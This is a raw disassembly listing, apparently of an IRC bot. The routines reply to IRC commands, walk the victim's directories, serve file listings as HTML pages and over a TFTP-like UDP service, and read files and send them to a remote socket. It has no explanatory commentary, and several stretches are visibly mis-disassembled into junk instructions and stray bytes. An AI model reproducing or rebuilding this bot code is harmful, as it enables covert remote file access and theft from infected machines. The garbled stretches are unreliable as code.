mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_404791: ; CODE XREF: .nsp0:00404786j
lea eax, [ebp-10Ch]
push eax
call sub_411EEE
add esp, 0Ch
lea eax, [ebp-10Ch]
xor esi, esi
xor ebx, ebx
push eax
call sub_4126F0
test eax, eax
pop ecx
jbe short loc_40482C
mov dword ptr [ebp+10h], 2
loc_4047BC: ; CODE XREF: .nsp0:0040482Aj
lea eax, [ebp-10Ch]
push eax
call sub_4126F0
cmp [ebp+10h], eax
pop ecx
jnb short loc_4047FC
cmp byte ptr [ebp+esi-10Ch], 25h
jnz short loc_4047FC
cmp byte ptr [ebp+esi-10Bh], 32h
jnz short loc_4047FC
cmp byte ptr [ebp+esi-10Ah], 30h
jnz short loc_4047FC
inc esi
mov byte ptr [ebp+ebx-210h], 20h
inc esi
add dword ptr [ebp+10h], 2
jmp short loc_404816
; ---------------------------------------------------------------------------
loc_4047FC: ; CODE XREF: .nsp0:004047CCj
; .nsp0:004047D6j ...
mov al, [ebp+esi-10Ch]
cmp al, 2Fh
jnz short loc_40480C
push 5Ch
pop eax
jmp short loc_40480F
; ---------------------------------------------------------------------------
loc_40480C: ; CODE XREF: .nsp0:00404805j
movsx eax, al
loc_40480F: ; CODE XREF: .nsp0:0040480Aj
mov [ebp+ebx-210h], al
loc_404816: ; CODE XREF: .nsp0:004047FAj
lea eax, [ebp-10Ch]
inc esi
inc dword ptr [ebp+10h]
push eax
inc ebx
call sub_4126F0
cmp esi, eax
pop ecx
jb short loc_4047BC
loc_40482C: ; CODE XREF: .nsp0:004047B3j
lea eax, [ebp-210h]
push eax
lea eax, [ebp-314h]
push dword ptr [ebp+0Ch]
push offset aSS_2 ; "%s%s"
push eax
call sub_411EEE
lea eax, [ebp-314h]
push offset asc_422200 ; "\n"
push eax
call sub_413668
add esp, 18h
lea eax, [ebp-314h]
push eax
call dword_41D080 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_40487A
cmp eax, 0FFFFFFFFh
jnz short loc_40487D
push dword ptr [ebp+8]
jmp short loc_4048F9
; ---------------------------------------------------------------------------
loc_40487A: ; CODE XREF: .nsp0:0040486Ej
mov [ebp-4], esi
loc_40487D: ; CODE XREF: .nsp0:00404873j
cmp byte ptr [ebp+ebx-211h], 5Ch
jnz short loc_40488A
mov [ebp-4], esi
loc_40488A: ; CODE XREF: .nsp0:00404885j
mov ebx, [ebp+8]
cmp [ebp-4], edi
mov [ebp-6C4h], ebx
mov [ebp-318h], edi
jz short loc_404904
cmp [ebp+14h], edi
jz short loc_4048F8
lea eax, [ebp-314h]
push offset asc_4221FC ; "*"
push eax
call sub_412610
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_411EEE
lea eax, [ebp-210h]
push eax
call sub_405141
lea eax, [ebp-210h]
push eax
lea eax, [ebp-53Ch]
push eax
call sub_411EEE
add esp, 1Ch
or dword ptr [ebp-330h], 0FFFFFFFFh
mov [ebp-31Ch], esi
jmp short loc_404953
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: .nsp0:004048A1j
push ebx
loc_4048F9: ; CODE XREF: .nsp0:00404878j
call dword_433B60 ; closesocket
jmp loc_4049FB
; ---------------------------------------------------------------------------
loc_404904: ; CODE XREF: .nsp0:0040489Cj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp-314h]
push 80000000h
push eax
call dword_41D07C ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_404953
lea eax, [ebp-314h]
push eax
lea eax, [ebp-640h]
push eax
call sub_411EEE
pop ecx
mov [ebp-31Ch], edi
pop ecx
push edi
push esi
call near ptr 0AB0000h
push 0D0858956h
cld
; ---------------------------------------------------------------------------
db 0FFh
dd 7415FFFFh
; ---------------------------------------------------------------------------
rol byte ptr [ecx+0], 1
loc_404953: ; CODE XREF: .nsp0:004048F6j
; .nsp0:00404921j
mov esi, [ebp+18h]
lea eax, [ebp-8C4h]
push esi
push offset unk_4221B8
push eax
call sub_411EEE
push edi
lea eax, [ebp-8C4h]
push 3
push eax
call sub_41199A
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov dword_438C5C[eax], esi
lea eax, [ebp-8]
push eax
lea eax, [ebp-6C4h]
push edi
push eax
push offset sub_4045D0
push edi
push edi
call dword_41D070 ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov dword_438C6C[ecx], eax
jz short loc_4049CD
loc_4049BB: ; CODE XREF: .nsp0:004049CBj
cmp [ebp-318h], edi
jnz short loc_4049FB
push 5
call dword_41D05C ; Sleep
jmp short loc_4049BB
; ---------------------------------------------------------------------------
loc_4049CD: ; CODE XREF: .nsp0:004049B9j
push ebx
call dword_433B60 ; closesocket
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_42216C
push eax
call sub_411EEE
lea eax, [ebp-8C4h]
push eax
call sub_408E17
add esp, 10h
loc_4049FB: ; CODE XREF: .nsp0:004048FFj
; .nsp0:004049C1j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404A02 proc near ; CODE XREF: sub_4045D0+159p
; .nsp0:0040E49Ep
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_411F70
mov edi, [ebp+arg_0]
push offset asc_422200 ; "\n"
push edi
call sub_413668
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_404A61
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41246A
add esp, 14h
jmp loc_404B5E
; ---------------------------------------------------------------------------
loc_404A61: ; CODE XREF: sub_404A02+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_404B44
call sub_4126F0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
push edi
call sub_4126F0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 0Ch
jmp short loc_404B5E
; ---------------------------------------------------------------------------
loc_404B44: ; CODE XREF: sub_404A02+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 10h
loc_404B5E: ; CODE XREF: sub_404A02+5Aj
; sub_404A02+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
cmp [ebp+arg_C], ebx
jz short loc_404BF6
push [ebp+arg_C]
call sub_4126F0
cmp eax, 2
pop ecx
jbe short loc_404BF6
push [ebp+arg_C]
call sub_4126F0
sub eax, 3
pop ecx
jz short loc_404BAA
loc_404B9E: ; CODE XREF: sub_404A02+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_404BAA
dec eax
jnz short loc_404B9E
loc_404BAA: ; CODE XREF: sub_404A02+19Aj
; sub_404A02+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_413710
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
loc_404BF6: ; CODE XREF: sub_404A02+17Ej
; sub_404A02+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call dword_41D094 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_41D090 ; FindNextFileA
test eax, eax
jz loc_404FE7
mov edi, 1FFh
loc_404C22: ; CODE XREF: sub_404A02+5DFj
cmp [ebp+var_388], ebx
jz loc_404FCF
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_404FCF
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_404FCF
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 0AB0000h
inc esp
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 0AB0000h
xor esp, [esi-75h]
inc ebp
lock mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_404C97
mov ecx, offset aAm ; "AM"
loc_404C97: ; CODE XREF: sub_404A02+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_404CA3
sub eax, 0Ch
loc_404CA3: ; CODE XREF: sub_404A02+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_411EEE
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_404E50
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_404D24
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41246A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41246A
add esp, 28h
jmp loc_404FA0
; ---------------------------------------------------------------------------
loc_404D24: ; CODE XREF: sub_404A02+2DBj
cmp [ebp+arg_C], ebx
jz loc_404E0E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41246A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41246A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
lea eax, [ebp+var_35C]
push eax
call sub_4126F0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_404DC4
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_404DC9
; ---------------------------------------------------------------------------
loc_404DC4: ; CODE XREF: sub_404A02+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_404DC9: ; CODE XREF: sub_404A02+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41246A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_404F91
; ---------------------------------------------------------------------------
loc_404E0E: ; CODE XREF: sub_404A02+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41246A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_404E3B: ; CODE XREF: sub_404A02+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_41246A
add esp, 24h
jmp loc_404FA0
; ---------------------------------------------------------------------------
loc_404E50: ; CODE XREF: sub_404A02+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_404E7A
push ebx
push [ebp+var_368]
call sub_409684
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_404E3B
; ---------------------------------------------------------------------------
loc_404E7A: ; CODE XREF: sub_404A02+454j
cmp [ebp+arg_C], ebx
jz loc_404F7A
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41246A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41246A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
lea eax, [ebp+var_35C]
push eax
call sub_4126F0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_404F1A
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_404F1F
; ---------------------------------------------------------------------------
loc_404F1A: ; CODE XREF: sub_404A02+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_404F1F: ; CODE XREF: sub_404A02+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41246A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41246A
add esp, 1Ch
jmp short loc_404FA0
; ---------------------------------------------------------------------------
loc_404F7A: ; CODE XREF: sub_404A02+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_404F91: ; CODE XREF: sub_404A02+407j
lea eax, [ebp+var_248]
push eax
call sub_41246A
add esp, 18h
loc_404FA0: ; CODE XREF: sub_404A02+31Dj
; sub_404A02+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
cmp [ebp+arg_8], ebx
jz short loc_404FCF
push 7D0h
call dword_41D05C ; Sleep
loc_404FCF: ; CODE XREF: sub_404A02+226j
; sub_404A02+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_41D090 ; FindNextFileA
test eax, eax
jnz loc_404C22
loc_404FE7: ; CODE XREF: sub_404A02+215j
push [ebp+arg_0]
call near ptr 0AB0000h
mov ds:74105D39h, eax
xor eax, 99F8458Bh
push edx
push eax
call sub_409684
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_409684
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_411EEE
add esp, 14h
jmp short loc_40505E
; ---------------------------------------------------------------------------
cmp [ebp+arg_C], ebx
jz short loc_405044
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_411EEE
pop ecx
pop ecx
jmp short loc_40505E
; ---------------------------------------------------------------------------
loc_405044: ; CODE XREF: sub_404A02+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_411EEE
add esp, 10h
loc_40505E: ; CODE XREF: sub_404A02+626j
; sub_404A02+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_433B18 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_404A02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405084 proc near ; CODE XREF: sub_4045D0+13Bp
var_4037C = byte ptr -4037Ch
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_41D07C ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40513C
push esi
push ebx
call near ptr 0AB0000h
mov edi, [ebx]
mov byte ptr [ecx+6C740C45h], 68h ; CODE XREF: sub_405084+AFj
add [eax+eax], al
add [ebp-4037Bh], cl
call dword ptr [esi+50h]
call sub_411F70
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4050E6
mov edi, [ebp+arg_4]
loc_4050E6: ; CODE XREF: sub_405084+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_41D09C ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_41D098 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_433B18 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405130
call dword_433A5C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_405135
xor eax, eax
loc_405130: ; CODE XREF: sub_405084+9Bj
sub [ebp+arg_4], eax
jnz short near ptr loc_4050C3+6
loc_405135: ; CODE XREF: sub_405084+A8j
push ebx
call dword_41D074 ; CloseHandle
loc_40513C: ; CODE XREF: sub_405084+30j
pop edi
pop esi
pop ebx
leave
retn
sub_405084 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405141 proc near ; CODE XREF: .nsp0:004048CEp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_4126F0
test eax, eax
pop ecx
jbe short loc_40516A
loc_405154: ; CODE XREF: sub_405141+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40515E
mov byte ptr [esi+edi], 2Fh
loc_40515E: ; CODE XREF: sub_405141+17j
push edi
inc esi
call sub_4126F0
cmp esi, eax
pop ecx
jb short loc_405154
loc_40516A: ; CODE XREF: sub_405141+11j
mov eax, edi
pop edi
pop esi
retn
sub_405141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40516F proc near ; CODE XREF: .nsp0:0040C9F7p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_433A40 ; WSAStartup
push 6
push 1
push 2
call dword_433B48 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_411F70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_433AC8 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_407F2F
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_433A70 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40524C
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_4051E8
mov eax, offset byte_432708
loc_4051E8: ; CODE XREF: sub_40516F+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41246A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_433B18 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_411FD0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_433AE0 ; recv
pop esi
loc_40524C: ; CODE XREF: sub_40516F+6Bj
push ebx
call dword_433B60 ; closesocket
call dword_433A28 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_411EEE
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_40528C
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_40528C: ; CODE XREF: sub_40516F+102j
pop edi
pop ebx
leave
retn
sub_40516F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405290 proc near ; CODE XREF: sub_405290:loc_40577Bp
; DATA XREF: .nsp0:004059CFo
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_433B48 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_405353
push 190h
call dword_41D05C ; Sleep
call dword_433A5C ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset unk_422808
push eax
call sub_411EEE
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_405333
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40F9F1
add esp, 14h
loc_405333: ; CODE XREF: sub_405290+7Ej
lea eax, [ebp+var_780]
push eax
call sub_408E17
push [ebp+var_170]
call sub_411CB6
pop ecx
pop ecx
push ebx
call near ptr 0AB0000h
push es
loc_405353: ; CODE XREF: sub_405290+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_438C64[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_411F70
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_433AC8 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_433AF4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4053B8
push 1388h
call dword_41D05C ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_40577B
; ---------------------------------------------------------------------------
loc_4053B8: ; CODE XREF: sub_405290+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_4125E8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_405436
push 190h
call dword_41D05C ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_4227B8
push eax
call sub_411EEE
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40F9F1
lea eax, [ebp+var_780]
push eax
call sub_408E17
push [ebp+var_170]
call sub_411CB6
add esp, 28h
push ebx
call near ptr 0AB0000h
pop esi
loc_405436: ; CODE XREF: sub_405290+140j
mov esi, 200h
loc_40543B: ; CODE XREF: sub_405290+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_40573B
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_411F70
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_433AB0 ; select
test eax, eax
jle loc_40572F
mov al, byte_432708
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_433AA0 ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_411EEE
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_405719
cmp [ebp+var_D7], 1
jnz loc_405665
lea eax, [ebp+var_274]
push eax
call sub_4126F0
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_4126F0
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_4138A0
add esp, 14h
test eax, eax
jnz loc_40561F
lea eax, [ebp+var_1C]
push eax
call sub_4126F0
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_4138A0
add esp, 10h
test eax, eax
jnz loc_40561F
push ebx
push ebx
push [ebp+var_8]
call sub_41380E
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_413580
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_433B2C ; sendto
